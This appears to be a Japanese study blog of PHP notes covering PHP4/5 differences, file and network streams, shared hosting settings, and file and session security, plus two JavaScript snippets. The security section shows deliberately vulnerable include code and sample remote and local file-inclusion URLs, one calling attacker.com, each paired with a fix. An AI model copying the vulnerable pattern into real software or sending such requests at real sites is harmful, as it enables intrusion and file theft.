@blog.justoneplanet.info

日々勉強

Diferences Between PHP4 and PHP5(PHP5とPHP4の違い)

■関数

引数の参照渡し

PHP5もPHP4もデフォルトではコピーで値が渡される。しかし、以下のようにすると参照で渡すことができる。

<?php
function sample(&$arg){
    $a = 'Mr. ';
    $a = $a . $arg;
    $arg .= 'gy';
    return $a;
}
$str = 'Dog';
print(sample($str));//Mr. Dog
print($str);//Doggy
?>

但し、以下のようにデフォルト値を設定する方法はPHP5でしか使用できない。

<?php
function sample(&$arg = 'John'){
    $a = 'Mr. ';
    $a = $a . $arg;
    $arg .= 'gy';
    return $a;
}
print(sample($str));//Mr. John
?>
エラー

関数の引数を参照で宣言した場合は、文字列でなく変数で引数を指定しなければならない。

<?php
function sample(&$arg){
    $a = 'Mr. ';
    $a = $a . $arg;
    $arg .= 'gy';
    return $a;
}
print(sample('Dog'));
?>

■オブジェクト

  • アクセス修飾詞によってアクセス権をコントロールできる
  • クラス定数というクラスに所属した定数を定義できる
  • オブジェクトの代入は全て参照で行われる(コピーしたい場合はclone演算子を使用する)
  • コンストラクタはクラス名でなく__constructメソッドで実装することが推奨される
  • デストラクタが新たに備わった
  • インターフェイスや抽象クラスなど実装や継承をさせて使えるようになるクラスができた
  • 未定義のクラスが呼び出されたときの挙動を__autoload関数で定義できる

マジックメソッドについて

mixed __get(mixed $name)
存在しないプロパティの値を参照しようとしたときに呼び出される。但し、引数は必ず1つ記述しなければならない。
void __set(string $name, mixed $value)
存在しないプロパティに値を代入しようとしたときに呼び出される。但し、引数は必ず2つ記述しなければならない。
mixed __call(string $name, array $arguments)
存在しなかったメソッドが呼び出されたときに呼び出される。但し、デフォルトではFatal Errorが発生するので、実装しなくても安全である。
void __clone(void)
clone演算子が使用されたときの挙動を定義できる。
void __sleep(void)
serialize関数が呼び出されたときに、シリアル化の前に呼び出される。
void __wakeup(void)
unserialize関数が呼び出されたときに呼び出される。
bool __isset(string $name)
未定義のプロパティに対してissetが使用されたときに実行される。
void __unset(string $name)
未定義のプロパティにunsetが使用されたときに実行される。
mixed __toString(void)
クラスがprint関数などで文字列に変換される際の挙動を定義できる。
mixed __set_state(array $propaty_pairs)
var_export関数によって エクスポートされたクラスのためにコールされる。

■構文

foreach

foreachは元来配列のコピーを生成する。従って、ループ内で値に操作を加えても元の値は変化しない。しかし、PHP5では値に参照を使用できる。

<?php
$ary = array('John', 'Mike', 'Nick');
foreach($ary as $name){
    $name = strtoupper($name);
}
var_dump($ary);
/*
array(3) {
  [0]=>
  string(4) "John"
  [1]=>
  string(4) "Mike"
  [2]=>
  string(4) "Nick"
}
*/
foreach($ary as &$name){
    $name = strtoupper($name);
}
unset($name);
var_dump($ary);
/*
array(3) {
  [0]=>
  &string(4) "JOHN"
  [1]=>
  &string(4) "MIKE"
  [2]=>
  string(4) "NICK"
}
*/
?>

但し、この手法を使った場合は、unsetしておくことをお勧めする。

■エラー

例外

例外がサポートされるようになった。

エラーレベル

E_STRICTレベルが新たに追加された。

■新しいエクステンション

SimpleXML
XMLを扱う。
DOMXML,DOMXSL
XML,XSLを扱う。
PDO
データベース抽象化レイヤー。
SPL
PHPの言語と相互作用する PHP5 で導入されたクラスライブラリ。
Reflection
リファクタリング用クラス。

PHPのrequire(require_once)とinclude(include_once)の違い

■require

E_ERRORが失敗したときに発生する。

■include

E_WARNINGが失敗したときに発生する(スクリプトの実行は止まらない)。

■onceについて

既にファイルが読み込まれていた場合は、ファイルを再度読み込まない。

PHP Accessing Network Resources(ネットワークアクセス)

■ファイルアクセスの同じ手法

以下のようにfopen関数を用いてファイルアクセスと同じように、ネットワークリソースを利用できる。但し、当然ながらhttpを使っているので書き込みなどは行えない。

<?php
$data = '';
if($fh = fopen('http://google.com', 'r')){
    while($str = fread($fh, 1000)){
        $data .= $str;
    }
}
else{
    //error
}
print($data);
?>

以下のようにして外部のファイルをインクルードすることもできる。但し、JavaScriptなどではお馴染みの手法もPHPでは大きなリスクを伴うことを理解する必要がある。

<?php
require_once('http://sample.org');
?>

■ストリームコンテキスト

以下のようにstream_context_create関数を使って、特定の関数を使用したときに任意の(HTTP)ヘッダを使うよう指定することができる。

<?php
$strmtxt = stream_context_create(array(
    'http' => array(
        'user_agent' => 'Super Browser Like FF',
        'max_redirects' => 3
    )
));
$data = file_get_contents('http://localhost', false, $strmtxt);
?>

各関数について

string file_get_contents(string $filename[, bool $use_include_path=false[, resource $context[, int $offset=-1[, int $maxlength=-1]]]])
$filenameのファイルを文字列として全て読み込む。$use_include_pathをtrueにするとインクルードパスから検索してくれる。第三引数にストリームコンテキストを用いて通信の挙動を指定できる。
resource stream_context_create([array $options])
ストリームコンテキストを生成する。引数は$array[‘wrapper’][‘option’] = $valueのような連想配列でなければならない。

■ソケット接続

以下のようにしてホスト間のソケット接続を確立する。

サーバ側

<?php
$socket = stream_socket_server('tcp://0.0.0.0:1037');
while($conn = stream_socket_accept($socket)){
    fwrite($conn, "Hello, World!n");
    fclose($conn);
}
fclose($socket);
?>
php ./server.php &

クライアント側

<?php
$socket = stream_socket_client('tcp://0.0.0.0:1037');
while(!feof($socket)){
    print(fread($socket, 100));
}
fclose($socket);
?>
php ./client.php
#Hello, World!

各関数について

resource stream_socket_client(string $remote_socket)
インターネットドメインもしくはUNIXドメインのソケット接続を開く。
resource stream_socket_server(string $local_socket)
インターネットドメインもしくはUNIXドメインのサーバソケットを生成する。
resource stream_socket_accept(resource $server_socket)
サーバソケットの接続を受け入れる。

■ストリームフィルタ

以下のようにstream_filter_append関数を使用してストリームフィルタを付加する。フィルタ「string.toupper」は「全ての文字を大文字」にし、「zlib.inflate」は「データの圧縮」をする。

<?php
$socket = stream_socket_server('tcp://0.0.0.0:1037');
while($conn = stream_socket_accept($socket)){
    stream_filter_append($conn, 'string.toupper');
    stream_filter_append($conn, 'zlib.deflate');
    fwrite($conn, "Hello, World!n");
    fclose($conn);
}
fclose($socket);
?>
<?php
$socket = stream_socket_client('tcp://0.0.0.0:1037');
stream_filter_append($socket, 'zlib.inflate');
while(!feof($socket)){
    print(fread($socket, 100));
}
fclose($socket);
?>

各関数について

resource stream_filter_append(resource $stream, string $filtername)
第一引数で指定したストリームに、第二引数のフィルタを末尾に付加する。
resource stream_filter_prepend(resource $stream, string $filtername)
第一引数で指定したストリームに、第二引数のフィルタを先頭に付加する。

PHP Controlling Directories and Files(ディレクトリとファイルの操作)

■ディレクトリの操作

通常はあまり使用しないが、以下のようにchdir関数を使って、インタープリタのワーキングディレクトリを変更することができる。

<?php
if(chdir('/usr/bin')){
    //code
}
print(getcwd());//'usr/bin'
?>

また、ディレクトリを作りたい場合は、以下のようにmkdir関数を用いる。

<?php
if(!mkdir('/usr/bin/test', 0777, true)){
    //code
    print('failed to make a directory.');
}
?>

各関数について

bool chdir(string $dirname)
アクセス権が無かったり、ディレクトリそのものが無かったりするとfalseを返す。
string getcwd(void)
カレントワーキングディレクトリを文字列で返す。
bool mkdir(string $dirname[, int $mode=0777[, bool $recursive=false]])
$dirnameのディレクトリをアクセス権$modeで生成する。ディレクトリを生成する場所の親ディレクトリが存在しない場合は失敗し「false」を返す。但し、第三引数で「true」が設定されていた場合は、親ディレクトリも生成される。

■ファイルアクセスの操作

対象文字列がディレクトリかファイルを調べるには以下のような関数を用いる。

<?php
if(is_dir('/usr/bin')){
    //code
}
if(is_file('/usr/bin/test.txt')){
    //code
}
?>

対象ファイルがPHPからどのような状態にあるか調べるには以下のような関数を使用する。但し、ファイルへのアクセスはシステムのボトルネックとなり得るため、実行結果はキャッシュされ、再度同じ関数をコールするとキャッシュから結果が返る。従って、アクセス権変更後に正しい値を返す必要がある場合は、clearstatcache関数をコールする必要がある。

<?php
$file = 'count.txt';
if(is_executable($file)){
    //code
}
if(is_writable($file)){
    //code
}
if(is_readable($file)){
    //code
}
if(is_link($file)){
    //code
}
if(is_uploaded_file($file)){
    //code
}
?>

ファイルのアクセス権を設定するには、以下のようにchmod関数を用いる。

<?php
if(chmod('count.txt', 0644)){
    //code
}
?>

各関数について

bool is_dir(string $dirname)
対象ディレクトリが存在し、ディレクトリであるならば「true」を返す。
bool is_file(string $filename)
対象ファイルが存在し、ファイルであるならば「true」を返す。
bool is_executable(string $filename)
ファイルが実行可能かどうか調べる。
bool is_writable(string $filename)
ファイルが書き込み可能かどうか調べる。
bool is_readable(string $filename)
ファイルが読み込み可能かどうか調べる。
bool is_link(string $filename)
ファイルがシンボリックリンクかどうか調べる。
bool is_uploaded_file($_FILE[$key][‘tmp_name’])
引数で指定されたファイルがアップロードされたものかどうか調べる。
bool chmod(string $filename, int $mode)
$filenameのファイルのアクセス権を$mode(8進数)に設定する。

PHP Accessing Files(ファイルへのアクセス)

ファイルから読み込みを行うと、読み込みが完了した位置にファイルポインタが移動する。

■一般的なファイル操作

ファイルを操作するには以下のようにする。まず、fopen関数でファイルをオープンし、flockでファイルをロックする。ファイルハンドラを使う場合、ファイルの全てのデータをメモリに読み込むわけではないので。メモリの節約に繋がる。

<?php
$mask = umask(077);
$fh = fopen('count.txt', 'a+');//0600
umask($mask);
if($fh === false){
    die('Failed to open the file.');
}
if(flock($fh, LOCK_EX)){
    if(filesize('count.txt') === 0){
        $counter = 0;
    }
    else{
        $counter = (int) fgets($fh);
    }
    ftruncate($fh, 0);
    $counter ++;
    fwrite($fh, $counter);
}
fclose($fh);
print($counter);
?>

但し、fgets関数については注意しなくてはならない。

<?php
print(fgets($fh, 1));
//nothing!!
?>

上述のコードを書いてもファイルから文字が読み出されることはない。なぜならば$length-1バイトしか読み込まないためである。従って、以下のように文字数+1の値を記述する必要がある。

<?php
print(fgets($fh, 2));
//1 character is displayed
?>

つうかコノ仕様が非常に覚えづらい。他の関数と統一して欲しい。

各関数について

resource fopen(string $filename, string $mode[, bool $use_inc_path=false[, resource $stream_context]])
第一引数で指定したファイルを、第二引数で指定したモードで開く。ファイルがオープンできなかった場合は、falseを返す。
bool flock(resource $fh, int $mode)
第一引数で指定したファイルハンドラのファイルを、第二引数で指定したモードでロックする。
int filesize(string $filename)
引数で指定したファイルのサイズを取得する。この関数の結果はキャッシュされるので、1リクエスト内に何回もコールし、そのたびに正確な値が必要なときは、clearstatcahche関数をコールする。単位はバイト。
string fgets(resource $fh[, int $length])
ファイルポインタから1行データを取得する。$lengthが設定されていた場合は、$length-1バイト読み出す。
string fgetc(resource $fh)
ファイルポインタから1文字データを取得する。
bool ftruncate(resource $fh, int $size)
第一引数で指定したファイルハンドラのファイルを、第二引数で指定した値の長さにする。元のファイルの余分な部分はカットされ、足りない場合はヌルバイトで補う。
int fwrite(resource $fh, string $data)
第一引数で指定したファイルポインタのファイルに、第二引数で指定した文字列を書き込む。戻り値は書き込んだバイト数(失敗した場合はfalse)。
bool fclose(resource $fh)
オープンしたファイルハンドラをクローズする。ファイルロックをしていた場合は解除する。
int umask(int $mask)
現在のumaskを設定し古いumaskを返す。ファイルを作成する前に適切な権限でファイルが作成されるように調整するために使う。

ファイルオープンのモード

r 読み取り専用(ファイルポインタは先頭)
r+ 読み取り、書き込み専用(ファイルポインタは先頭)
w 書き込み専用(ファイルポインタは先頭、ファイルサイズを0に)
ファイルが存在しない場合は作成を試みる
w+ 書き込み、読み取り専用(ファイルポインタは先頭、ファイルサイズを0に)
ファイルが存在しない場合は作成を試みる
a 書き込み専用(ファイルポインタは最後)
ファイルが存在しない場合は作成を試みる
a+ 書き込み、読み取り専用(ファイルポインタは最後)
ファイルが存在しない場合は作成を試みる
x 書き込み専用でファイルを作る
ファイルが存在する場合はエラーとなる
x+ 読み込み専用でファイルを作る
ファイルが存在する場合はエラーとなる

ファイルのロックモード

LOCK_SH 共有ロック
LOCK_EX 排他ロック

書き込みを行う場合は、排他ロックを使用する。

また、以下のような方法でファイルの文字を全て読み込むことができる。

<?php
if(file_exists('count.txt')){
    $fh = fopen('count.txt', 'r');
    $txt = '';
    while(!feof($fh)){
        $txt .= fread($fh, 1);
    }
    print($txt);
}
?>

各関数について

bool file_exists(string $filename)
引数で指定したファイルもしくはディレクトリが存在するか調べる。但し、ファイルが存在しても、PHPの実行ユーザからアクセスできない場合はfalseを返す。
bool feof(resource $fh)
ファイルポインタがファイル末端に達しているか調べる。
string fread(resource $fh, int $length)
第一引数で指定したファイルハンドラのファイルから、第二引数で指定した$lengthバイト数分だけ読み込む。

■ファイルポインタの移動

<?php
$fh = fopen('count.txt', 'r+');
fseek($fh, 2, SEEK_SET);
?>

各関数について

int fseek(resource $fh, int $offset[, int $whence])
第一引数で指定したファイルハンドラのファイルポインタを、第二引数で指定したバイト数目にセットする。但し、第三引数でSEEK_SETでなく、SEEK_CURを指定した場合は現在の位置からのカウントになり、SEEK_ENDの場合はファイルの末端からカウントする。従って、SEEK_ENDの場合、第二引数は0もしくは負の値となる。
int ftell(resource $fh)
現在のファイルポインタの場所を返す。

■csvファイルの操作

以下のCSVファイルを例に解説する。ちなみに最終行にも改行が必要である。

"Jack","54","USA"
"Emily","18","Japan"

以下のようにfgetcsv関数を用いてcsvファイルの内容を読み出す。また、fputcsv関数を用いて行を追加する。

<?php
$fh = fopen('member.csv', 'r+');
while($row = fgetcsv($fh)){
    print("{$row[0]}({$row[1]})-{$row[2]}" . PHP_EOL);
}
$row = array('John', '28', 'Canada');
fputcsv($fh, $row);
/*
Jack(54)-USA
Emily(18)-Japan
John(28)-Canada
*/
?>

各関数について

array fgetcsv(resource $handle[, int $length[, string $delimiter[, string $enclosure[, string $escape]]]])
第一引数以外はオプションである。デフォルトのデリミターはカンマで、括りはダブルクォーテーションである。
int fputcsv(resource $handle, array $data[, string $delimiter[, string $enclosure]])
第一引数で指定したファイルポインタのファイルに、第三引数以降の引数に基づき、CSV形式の1行分に整形を行った第二引数のデータを書き込む。

■簡易化されたファイル操作

以下のように動画を出力するような場合は、上述の関数を使用するよりもリソースを抑えられる。

<?php
header('Content-type: video/mpeg');
readfile('test.mpg');
?>

また、以下のようにfile_get_contents関数を使用すると、ファイルの内容を全て変数に読み込むことができる。この方法ではメモリに全てのデータを読み込むが、(OSが対応している場合のみ)リソースの消費を抑えるためメモリマッピング技術が使われる。

<?php
$data = file_get_contents('count.txt');
?>
<?php
$data = implode('n', file('count.txt'));
?>

さらに、PHP5では以下のようにfile_put_contents関数を使用し、ファイルに書き込みを行うこともできる。

<?php
$data = 'This is a pen!';
file_put_contents('count.txt', $data, FILE_APPEND | LOCK_EX);
?>

各関数について

int readfile(string $filename[, bool $use_inc_path=false[, resource $stream_context]])
ファイルを読み込んで標準出力に書き出す。
string file_get_contents(string $filename[, bool $use_inc_path=false[, resource $stream_context]])
引数で指定したファイルの内容を文字列として全て読み込む。失敗した場合はfalseを返す。空白のような文字が含まれるURLをオープンする際は、urlencode関数でエンコードする必要がある。
int file_put_contents(string $filename, mixed $data[, int $flags[, resource $context]])
第一引数で指定したファイルに、第二引数で指定したデータを書き込む。第三引数でFILE_APPENDを指定しない場合は、ファイルが上書きされる。また、ファイルを多数のユーザが操作する場合は必ずLOCK_EXを指定する。
array file(string $filename)
ファイル全体を読み込んで配列に格納する。

PHP Shared Hosting

■サーバの設定

以下のような、「httpd.conf」や「httpd.include」を考えてみる。

<VIrtualHost 0.0.0.0:80>
    ServerName    sample.org
    <Directory /var/www/httpdocs>
        <IfModule mod_php5.c>
            php_admin_value open_basedir "/var/www:/tmp"
        </IfModule>
    </Directory>
</VirtualHost>

「open_basedir」ではPHPがアクセスできるサーバ上のディレクトリを指定することができる。「none」を設定すれば全てのディレクトリにアクセスできるが、セキュリティが下がるので安易にそのような設定をしてはならない。

■特定の関数を使えなくする

php.iniに以下のように記述することによって、任意の関数を使用できない状態にすることができる。

;Disable functions
disable_functions = exec,passthru,shell_exec,system

PHP File System Security(ファイルシステムのセキュリティ)

■リモートファイルインクルード

外部の任意のPHPをインクルードさせることができる。従って、サーバのルート権限を奪取することもできてしまう。

以下のコードを考える。

<?php
$file = $_GET['file'];
require_once($file);
?>

注意しなければならないのは、php.iniの「allow_url_fopen」ディレクティブが「On」になっているとき、リモートでファイルをインクルードできるということである。つまりリクエストが以下のURLのときに、脆弱性となり得る。

http://sample.org/index.php?file=http://attacker.com/

対策

<?php
$file = basename($_GET['file']);
require_once($file);
?>
各関数について
string basename(string $path[, string $suffix])
文字列としてパスを与えると、ファイル名の部分だけ返す。
string dirname(string $path)
文字列としてパスを与えると、ディレクトリの部分を返す(ルートからカレントまで)。

■ローカルファイルインクルード

上述の脆弱性があるコードを考える。

<?php
$file = $_GET['file'];
require_once($file);
?>

以下のようなリクエストがあった場合、サーバ上のWebに公開されていないファイルが丸見えになってしまう。

http://sample.org/index.php?file=/usr/passwd.txt

対策

上述のコードと全く同じようにbasename関数を使ってあげるだけで良い。

<?php
$file = basename($_GET['file']);
require_once($file);
?>

■ディレクトリトラバーサル

ディレクトリを遡ることを意味する。これもbasename関数を使った上述のコードで防ぐことができる。

■まとめ

basename関数を必ず使用してファイル名を確実に抜き出せるようにすること。また、ユーザ入力に依存した任意のファイル名をそのまま使用するのではなく、以下のように極力ホワイトリスト方式を使用する。

<?php
$file_list = array('dog.php', 'cat.php', 'coffee.php');
$file = basename($_GET['file']);
if(in_array($file, $file_list)){
    require_once($file);
}
?>

但し、上述の場合はbasename関数がなくても脆弱性にはならない。

■コマンドインジェクション

あまり知られていないかもしれないが、PHPからOSのコマンドを入力することも可能である。以下のようにバッククォートを用いても可能だ。

$current_directory = `ls`;
print($current_directory);

但し、OSのコマンドにユーザ入力に依存したコードを含めるのは非常に危険であり、アプリケーションでそのようなコードを用いないことを強くお勧めする。

PHP Session Security(セッションのセキュリティ)

■セッションフィクセーション

セッションのIDを固定化させる方法である。特定のリンクを第三者にクリックさせ任意のセッションIDを付加させる方法である。これにより、攻撃者は第三者のセッションIDを知ることができてしまう。

対策

まず、「php.ini」の「session.use_only_cookies」を「On」にする。

session.use_only_cookies = On

以下のように、session_start()の後すぐに、session_regenerate_id(true)関数を呼び出す。この関数は、Set-Cookieヘッダーを再度送信し、セッションIDを新しいものに置き換える。但し、デフォルトでは古いセッションファイルを削除しないため、そこまでのセッションデータは古いIDでも取り出すことができてしまう。PHP5.1以降では引数に「true」を設定することで、古いセッションファイルを削除することができる。

<?php
session_start();
session_regenerate_id(true);
?>

但し、一番初めのアクセスはIDを新しくする必要もないので、以下のようにする。

<?php
session_start();
if(!isset($_SESSION['init'])){
    session_regenerate_id(true);
    $_SESSION['init'] = true;
}
?>

■セッションハイジャック

対策1

以下のように、一つ前のリクエストと今回のリクエストのUSER AGENTを調べる。これは、リクエスト毎にブラウザがかわることはない、という前提を利用したチェック方法である。

<?php
if($_SERVER['HTTP_USER_AGENT'] !== $_SESSION['user_agent']){
    exit;
}
?>

重要

但し、ネットワークの盗聴などをされるとPHPでは防ぎきれないので、完全にセッションハイジャックを防ぎたい場合は、HTTPS通信にしてクッキーにセキュア属性を付加する。

JavaScriptでブラウザの表示領域サイズを得る

以下のような関数を定義する。

var getClientSize = function(){
	var client = (function(){
		if(!!(window.attachEvent && !window.opera) && document.compatMode == 'CSS1Compat'){
			return document.documentElement;
		}
		else if(!!(window.attachEvent && !window.opera)){
			return document.body;
		}
		else{
			return document.documentElement;
		}
	})();
	return {"width" : client.clientWidth , "height" : client.clientHeight};
}

サンプルとして以下のようなコードを実行する。

alert(getClientSize().width);//幅
alert(getClientSize().height);//高さ

ブラウザの表示領域のサイズは意外と知りたい機会があるかもしれない。

JavaScriptで左上を基準とした要素の位置を取得

以下のような関数を定義する。

var getElmPosition = function(elm){
	var left = 0;
	var top = 0;
	while(elm.parentNode){
		left += elm.offsetLeft;
		top += elm.offsetTop;
		elm = elm.parentNode;
	}
	return {"left" : left, "top" : top};
}

サンプルとして以下のように、idにcontainerが割り当てられた要素の位置を取得する。

alert(getElmPosition(document.getElementById('container')).left + 'px');//横軸
alert(getElmPosition(document.getElementById('container')).top + 'px');//縦軸